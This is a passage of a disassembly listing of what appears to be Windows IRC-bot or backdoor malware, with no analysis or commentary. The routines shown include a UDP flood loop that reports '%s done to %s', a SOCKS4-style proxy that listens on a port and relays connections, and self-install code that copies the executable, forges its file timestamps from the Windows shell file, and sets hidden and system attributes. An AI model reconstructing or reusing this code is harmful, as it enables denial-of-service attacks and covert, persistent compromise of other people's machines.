		and	byte ptr [esi],	0
		push	ebx
		call	sub_421C78
		pop	ecx
		lea	ecx, [ebp+var_10]
		call	sub_41E097
		mov	eax, [ebp+var_4]
		pop	edi
		jmp	short loc_41EA17
; ---------------------------------------------------------------------------


loc_41EA15:				; CODE XREF: sub_41E8CB+31j
					; sub_41E8CB+3Aj
		mov	eax, ebx


loc_41EA17:				; CODE XREF: sub_41E8CB+148j
		pop	esi
		pop	ebx
		leave
		retn
sub_41E8CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA1B	proc near		; DATA XREF: sub_403B2C+61DFo

var_10146	= byte ptr -10146h
var_10144	= byte ptr -10144h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10144h
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	edi, [ebp+var_144]
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+arg_0], edi
		cmp	[ebp+var_20], ecx
		mov	[eax+128h], ecx
		jnz	short loc_41EA5F
		push	offset dword_4552D0
		call	sub_4140CF
		pop	ecx
		jmp	short loc_41EA77
; ---------------------------------------------------------------------------


loc_41EA5F:				; CODE XREF: sub_41EA1B+35j
		mov	esi, offset dword_4552D0
		push	100h
		push	esi
		call	dword_42F2A8	; gethostname
		push	esi
		call	dword_42F274	; gethostbyname


loc_41EA77:				; CODE XREF: sub_41EA1B+42j
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_454394	; socket
		mov	[ebp+var_8], eax
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_18], 2
		push	eax
		call	dword_45434C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_41EB09
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_454398	; gethostbyname
		cmp	eax, ebx
		jnz	short loc_41EB02
		cmp	[ebp+var_24], ebx
		jnz	short loc_41EAF1
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_140]
		push	offset aSErrorSendin_0 ; "%s Error sending to %s."
		push	eax
		push	edi
		call	sub_4104F6
		add	esp, 10h


loc_41EAF1:				; CODE XREF: sub_41EA1B+B8j
		push	[ebp+var_30]
		call	sub_41C059
		pop	ecx
		push	1
		call	dword_42F150	; ExitThread


loc_41EB02:				; CODE XREF: sub_41EA1B+B3j
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_41EB0C
; ---------------------------------------------------------------------------


loc_41EB09:				; CODE XREF: sub_41EA1B+A2j
		lea	eax, [ebp+var_4]


loc_41EB0C:				; CODE XREF: sub_41EA1B+ECj
		mov	eax, [eax]
		cmp	[ebp+var_34], ebx
		mov	[ebp+var_14], eax
		mov	esi, 0FFFFh
		jnz	short loc_41EB29
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_41EB2C
; ---------------------------------------------------------------------------


loc_41EB29:				; CODE XREF: sub_41EA1B+FEj
		push	[ebp+var_34]


loc_41EB2C:				; CODE XREF: sub_41EA1B+10Cj
		call	dword_454314	; ntohs
		mov	[ebp+var_16], ax
		xor	eax, eax
		inc	eax
		cmp	[ebp+var_34], eax
		jge	short loc_41EB41
		mov	[ebp+var_34], eax


loc_41EB41:				; CODE XREF: sub_41EA1B+121j
		cmp	[ebp+var_34], esi
		jle	short loc_41EB49
		mov	[ebp+var_34], esi


loc_41EB49:				; CODE XREF: sub_41EA1B+129j
		mov	eax, [ebp+var_40]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_38], ebx
		mov	[ebp+var_40], eax
		jnz	short loc_41EB61
		mov	[ebp+var_38], 5


loc_41EB61:				; CODE XREF: sub_41EA1B+13Dj
		xor	esi, esi
		cmp	[ebp+var_3C], ebx
		jle	short loc_41EBCA


loc_41EB68:				; CODE XREF: sub_41EA1B+165j
		call	sub_4220FC
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_3C]
		mov	[ebp+esi-10145h], dl
		jl	short loc_41EB68
		jmp	short loc_41EBCA
; ---------------------------------------------------------------------------


loc_41EB84:				; CODE XREF: sub_41EA1B+1B2j
		dec	[ebp+var_40]
		call	sub_4220FC
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_41EBCF


loc_41EB93:				; CODE XREF: sub_41EA1B+1ADj
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	ebx
		call	sub_4220FC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_3C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10144]
		push	eax
		push	[ebp+var_8]
		call	dword_454370	; sendto
		push	[ebp+var_38]
		call	dword_42F15C	; Sleep
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_41EB93


loc_41EBCA:				; CODE XREF: sub_41EA1B+14Bj
					; sub_41EA1B+167j
		cmp	[ebp+var_40], ebx
		jg	short loc_41EB84


loc_41EBCF:				; CODE XREF: sub_41EA1B+176j
		dec	[ebp+var_40]
		cmp	[ebp+var_28], ebx
		mov	edi, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0"
		mov	esi, offset aSDoneToS ;	"%s done to %s"
		jnz	short loc_41EC01
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41EC06
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		lea	eax, [ebp+var_140]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_41EC01:				; CODE XREF: sub_41EA1B+1C4j
		cmp	[ebp+var_2C], ebx
		jz	short loc_41EC21


loc_41EC06:				; CODE XREF: sub_41EA1B+1C9j
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		lea	eax, [ebp+var_140]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 14h


loc_41EC21:				; CODE XREF: sub_41EA1B+1E9j
		push	[ebp+var_30]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread
sub_41EA1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC31	proc near		; CODE XREF: sub_41ED27+125p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_41EC47:				; CODE XREF: sub_41EC31+BBj
					; sub_41EC31+EBj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx


loc_41EC58:				; CODE XREF: sub_41EC31+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_41EC69
		inc	eax
		cmp	eax, ecx
		jb	short loc_41EC58


loc_41EC69:				; CODE XREF: sub_41EC31+31j
		cmp	eax, ecx
		jnz	short loc_41EC7A
		mov	[ebp+eax*4+var_100], edx
		inc	[ebp+var_104]


loc_41EC7A:				; CODE XREF: sub_41EC31+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4542FC	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4541E4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41ECDA
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_454330	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ED22
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_454350	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ED22


loc_41ECDA:				; CODE XREF: sub_41EC31+7Bj
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4541E4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_41EC47
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_454330	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ED22
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_454350	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_41EC47


loc_41ED22:				; CODE XREF: sub_41EC31+90j
					; sub_41EC31+A7j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED27	proc near		; DATA XREF: sub_41EE55+A4o

var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_420		= byte ptr -420h
var_41F		= byte ptr -41Fh
var_41E		= word ptr -41Eh
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 524h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		push	ebx
		lea	eax, [ebp+var_524]
		push	ebx
		inc	edi
		push	eax
		push	ebx
		mov	[ebp+var_8], 5
		mov	[ebp+var_4], ebx
		mov	[ebp+var_520], esi
		mov	[ebp+var_524], edi
		call	dword_4542FC	; select
		test	eax, eax
		jz	loc_41EE1A
		push	ebx
		lea	eax, [ebp+var_420]
		push	408h
		push	eax
		push	esi
		call	dword_454330	; recv
		test	eax, eax
		jle	loc_41EE1A
		cmp	[ebp+var_420], 4
		jnz	loc_41EE1A
		cmp	[ebp+var_41F], 1
		jnz	short loc_41EE1A
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_4221F0
		mov	ax, [ebp+var_41E]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_41C]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_454394	; socket
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4542AC	; connect
		cmp	eax, 0FFFFFFFFh
		push	400h
		lea	eax, [ebp+var_418]
		push	ebx
		mov	[ebp+var_420], bl
		push	eax
		jnz	short loc_41EE2A
		mov	[ebp+var_41F], 5Bh
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_420]
		push	ebx
		push	8
		push	eax
		push	esi
		call	dword_454350	; send


loc_41EE1A:				; CODE XREF: sub_41ED27+40j
					; sub_41ED27+5Cj ...
		push	esi
		call	dword_4543AC	; closesocket


loc_41EE21:				; CODE XREF: sub_41ED27+12Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41EE2A:				; CODE XREF: sub_41ED27+D1j
		mov	[ebp+var_41F], 5Ah
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_420]
		push	ebx
		push	8
		push	eax
		push	esi
		call	dword_454350	; send
		push	esi
		push	edi
		call	sub_41EC31
		pop	ecx
		pop	ecx
		jmp	short loc_41EE21
sub_41ED27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41EE55	proc near		; DATA XREF: sub_403B2C+12CDo

var_260		= byte ptr -260h
var_1DC		= dword	ptr -1DCh
var_1C0		= dword	ptr -1C0h
var_20		= byte ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 260h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_260]
		rep movsd
		push	[ebp+var_1C0]
		xor	edi, edi
		inc	edi
		mov	[ebp+var_10], 2
		mov	[eax+0BCh], edi
		call	dword_454314	; ntohs
		push	6
		xor	esi, esi
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		call	dword_454394	; socket
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_454344	; bind
		test	eax, eax
		jz	short loc_41EEC7
		push	[ebp+var_1DC]
		call	sub_41C059
		pop	ecx
		push	esi
		call	dword_42F150	; ExitThread


loc_41EEC7:				; CODE XREF: sub_41EE55+5Dj
		push	0Ah
		push	edi
		call	dword_454340	; listen
		test	eax, eax
		jz	short loc_41EEE7
		push	[ebp+var_1DC]
		call	sub_41C059
		pop	ecx
		push	esi
		call	dword_42F150	; ExitThread


loc_41EEE7:				; CODE XREF: sub_41EE55+7Dj
					; sub_41EE55+B1j
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	edi
		call	dword_4543A4	; accept
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41ED27
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		jmp	short loc_41EEE7
sub_41EE55	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF08	proc near		; CODE XREF: sub_403A63+47p
					; sub_4140F8+Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, offset asc_433F94 ; " "
		push	edi
		push	esi
		push	[esp+10h+arg_4]
		call	sub_422248
		mov	edi, [esp+14h+arg_0]
		xor	ebx, ebx
		inc	ebx
		pop	ecx
		cmp	[esp+10h+arg_8], ebx
		pop	ecx
		mov	[edi], eax
		jle	short loc_41EF43


loc_41EF2B:				; CODE XREF: sub_41EF08+39j
		push	esi
		push	0
		call	sub_422248
		pop	ecx
		mov	[edi+ebx*4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41EF43
		inc	ebx
		cmp	ebx, [esp+0Ch+arg_8]
		jl	short loc_41EF2B


loc_41EF43:				; CODE XREF: sub_41EF08+21j
					; sub_41EF08+32j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41EF08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF49	proc near		; CODE XREF: sub_412267+97p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42F0A0	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_41EF49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF5E	proc near		; CODE XREF: sub_41F01F+EFp

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_42F0C0	; GetWindowsDirectoryA
		push	1
		push	offset aShell_0	; "Shell"
		push	offset aSoftwareMicr_3 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_41A829
		xor	ebx, ebx
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41F018
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		call	dword_42F0D4	; lstrcatA
		mov	esi, dword_42F060
		mov	edi, 80h
		push	ebx
		push	edi
		push	3
		push	ebx
		push	1
		lea	eax, [ebp+var_110]
		push	80000000h
		push	eax
		call	esi ; dword_42F060
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_41F018
		lea	ecx, [ebp+var_C]
		push	ecx
		push	ebx
		push	ebx
		push	eax
		call	dword_42F11C	; GetFileTime
		push	[ebp+var_4]
		call	dword_42F038	; CloseHandle
		push	ebx
		push	edi
		push	3
		push	ebx
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; dword_42F060
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F018
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		push	esi
		call	dword_42F118	; SetFileTime
		push	esi
		call	dword_42F038	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_41F01A
; ---------------------------------------------------------------------------


loc_41F018:				; CODE XREF: sub_41EF5E+3Bj
					; sub_41EF5E+71j ...
		xor	eax, eax


loc_41F01A:				; CODE XREF: sub_41EF5E+B8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F01F	proc near		; CODE XREF: sub_4120E9+F0p
					; sub_41B69D+99p

var_30C		= byte ptr -30Ch
var_208		= byte ptr -208h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30Ch
		push	ebx
		push	esi
		mov	esi, 104h
		lea	eax, [ebp+var_208]
		push	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	[ebp+arg_0]
		push	offset dword_43C270
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_45429C	; PathRemoveFileSpecA
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	dword_42F070	; lstrcmpiA
		test	eax, eax
		jz	loc_41F12D
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_42F0A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F0C3
		lea	eax, [ebp+var_104]
		push	80h
		push	eax
		call	dword_42F08C	; SetFileAttributesA


loc_41F0C3:				; CODE XREF: sub_41F01F+90j
		mov	esi, dword_42F09C
		push	edi
		push	ebx
		jmp	short loc_41F0F1
; ---------------------------------------------------------------------------


loc_41F0CD:				; CODE XREF: sub_41F01F+E6j
		call	dword_42F068	; RtlGetLastWin32Error
		test	ebx, ebx
		jnz	short loc_41F107
		cmp	eax, 20h
		jz	short loc_41F0E1
		cmp	eax, 5
		jnz	short loc_41F107


loc_41F0E1:				; CODE XREF: sub_41F01F+BBj
		xor	ebx, ebx
		push	3A98h
		inc	ebx
		call	dword_42F15C	; Sleep
		push	0


loc_41F0F1:				; CODE XREF: sub_41F01F+ACj
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	esi ; dword_42F09C
		mov	edi, eax
		test	edi, edi
		jz	short loc_41F0CD


loc_41F107:				; CODE XREF: sub_41F01F+B6j
					; sub_41F01F+C0j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41EF5E
		pop	ecx
		lea	eax, [ebp+var_104]
		push	7
		push	eax
		call	dword_42F08C	; SetFileAttributesA
		test	edi, edi
		pop	edi
		jz	short loc_41F12D
		xor	eax, eax
		inc	eax
		jmp	short loc_41F12F
; ---------------------------------------------------------------------------


loc_41F12D:				; CODE XREF: sub_41F01F+7Aj
					; sub_41F01F+107j
		xor	eax, eax


loc_41F12F:				; CODE XREF: sub_41F01F+10Cj
		pop	esi
		pop	ebx
		leave
		retn
sub_41F01F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F133	proc near		; CODE XREF: sub_419F6A+B5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	40h
		mov	edx, offset dword_630E70
		pop	ecx
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+4+arg_4]
		pop	edi
		cmp	eax, [esp+arg_8]
		jg	short loc_41F164
		push	esi
		mov	esi, edx
		sub	esi, eax


loc_41F152:				; CODE XREF: sub_41F133+2Ej
		mov	ecx, [esp+4+arg_0]
		mov	cl, [eax+ecx]
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [esp+4+arg_8]
		jle	short loc_41F152
		pop	esi


loc_41F164:				; CODE XREF: sub_41F133+18j
		mov	eax, edx
		retn
sub_41F133	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F167	proc near		; CODE XREF: sub_403B2C+6FFp
					; sub_403B2C+71Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41F1F4
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_41F1F4
		cmp	[ebp+arg_8], esi
		jz	short loc_41F1F4
		cmp	byte ptr [eax],	0
		jz	short loc_41F1F4
		push	ebx
		push	edi
		call	sub_42EBAE
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_41F1EF
		push	[ebp+arg_4]
		push	edi
		call	sub_4235C0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41F1E8
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_4222F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_422120
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_421F40
		push	[ebp+arg_4]
		call	sub_422120
		add	esp, 20h
		add	eax, esi
		push	eax
		push	ebx
		call	dword_42F0D4	; lstrcatA
		push	ebx
		push	edi
		call	dword_42F04C	; lstrcpyA
		mov	esi, edi


loc_41F1E8:				; CODE XREF: sub_41F167+3Cj
		push	ebx
		call	sub_4230B3
		pop	ecx


loc_41F1EF:				; CODE XREF: sub_41F167+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_41F1F6
; ---------------------------------------------------------------------------


loc_41F1F4:				; CODE XREF: sub_41F167+Cj
					; sub_41F167+13j ...
		xor	eax, eax


loc_41F1F6:				; CODE XREF: sub_41F167+8Bj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F1FA	proc near		; CODE XREF: sub_41F2BB+38p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_41F22A
; ---------------------------------------------------------------------------


loc_41F214:				; CODE XREF: sub_41F1FA+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_41F225
		cmp	dl, 2Ah
		jnz	short loc_41F237
		cmp	dl, 3Fh
		jnz	short loc_41F228


loc_41F225:				; CODE XREF: sub_41F1FA+1Fj
		inc	ecx
		mov	[edi], ecx


loc_41F228:				; CODE XREF: sub_41F1FA+29j
		inc	dword ptr [esi]


loc_41F22A:				; CODE XREF: sub_41F1FA+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_41F214
		jmp	short loc_41F237
; ---------------------------------------------------------------------------


loc_41F234:				; CODE XREF: sub_41F1FA+40j
		inc	eax
		mov	[esi], eax


loc_41F237:				; CODE XREF: sub_41F1FA+24j
					; sub_41F1FA+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_41F234
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_41F259
		cmp	[eax], bl
		jz	short loc_41F24C
		xor	eax, eax
		jmp	short loc_41F2B6
; ---------------------------------------------------------------------------


loc_41F24C:				; CODE XREF: sub_41F1FA+4Cj
		cmp	dl, bl
		jnz	short loc_41F259
		cmp	[eax], bl
		jnz	short loc_41F259
		xor	eax, eax
		inc	eax
		jmp	short loc_41F2B6
; ---------------------------------------------------------------------------


loc_41F259:				; CODE XREF: sub_41F1FA+48j
					; sub_41F1FA+54j ...
		push	ecx
		push	eax
		call	sub_41F2BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41F2A0


loc_41F266:				; CODE XREF: sub_41F1FA+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_41F278
; ---------------------------------------------------------------------------


loc_41F26C:				; CODE XREF: sub_41F1FA+86j
		cmp	cl, 5Bh
		jz	short loc_41F282
		cmp	dl, bl
		jz	short loc_41F282
		inc	eax
		mov	[edi], eax


loc_41F278:				; CODE XREF: sub_41F1FA+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_41F26C


loc_41F282:				; CODE XREF: sub_41F1FA+75j
					; sub_41F1FA+79j
		cmp	[eax], bl
		jz	short loc_41F297
		push	eax
		push	dword ptr [esi]
		call	sub_41F2BB
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41F29C
; ---------------------------------------------------------------------------


loc_41F297:				; CODE XREF: sub_41F1FA+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41F29C:				; CODE XREF: sub_41F1FA+9Bj
		cmp	eax, ebx
		jnz	short loc_41F266


loc_41F2A0:				; CODE XREF: sub_41F1FA+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_41F2B3
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_41F2B3
		mov	[ebp+var_4], 1


loc_41F2B3:				; CODE XREF: sub_41F1FA+AAj
					; sub_41F1FA+B0j
		mov	eax, [ebp+var_4]


loc_41F2B6:				; CODE XREF: sub_41F1FA+50j
					; sub_41F1FA+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F1FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2BB	proc near		; CODE XREF: sub_4105DF+4Cp
					; sub_41066C+4Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_41F302
; ---------------------------------------------------------------------------


loc_41F2C7:				; CODE XREF: sub_41F2BB+4Bj
		cmp	eax, 1
		jnz	short loc_41F310
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41F310
		cmp	cl, 2Ah
		jz	short loc_41F2EB
		cmp	cl, 3Fh
		jz	short loc_41F2E6
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_41F2E6:				; CODE XREF: sub_41F2BB+22j
		inc	[ebp+arg_4]
		jmp	short loc_41F2FE
; ---------------------------------------------------------------------------


loc_41F2EB:				; CODE XREF: sub_41F2BB+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41F1FA
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_41F2FE:				; CODE XREF: sub_41F2BB+2Ej
		inc	esi
		mov	[ebp+arg_0], esi


loc_41F302:				; CODE XREF: sub_41F2BB+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_41F2C7
		jmp	short loc_41F310
; ---------------------------------------------------------------------------


loc_41F30A:				; CODE XREF: sub_41F2BB+58j
		cmp	eax, 1
		jnz	short loc_41F32C
		inc	esi


loc_41F310:				; CODE XREF: sub_41F2BB+Fj
					; sub_41F2BB+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_41F30A
		cmp	eax, 1
		jnz	short loc_41F32C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41F32C
		cmp	byte ptr [esi],	0
		jnz	short loc_41F32C
		xor	eax, eax
		inc	eax
		jmp	short loc_41F32E
; ---------------------------------------------------------------------------


loc_41F32C:				; CODE XREF: sub_41F2BB+52j
					; sub_41F2BB+5Dj ...
		xor	eax, eax


loc_41F32E:				; CODE XREF: sub_41F2BB+6Fj
		pop	esi
		pop	ebp
		retn
sub_41F2BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F331	proc near		; CODE XREF: sub_4120E9+1Bp
					; sub_41F455+D7p

var_80C		= byte ptr -80Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
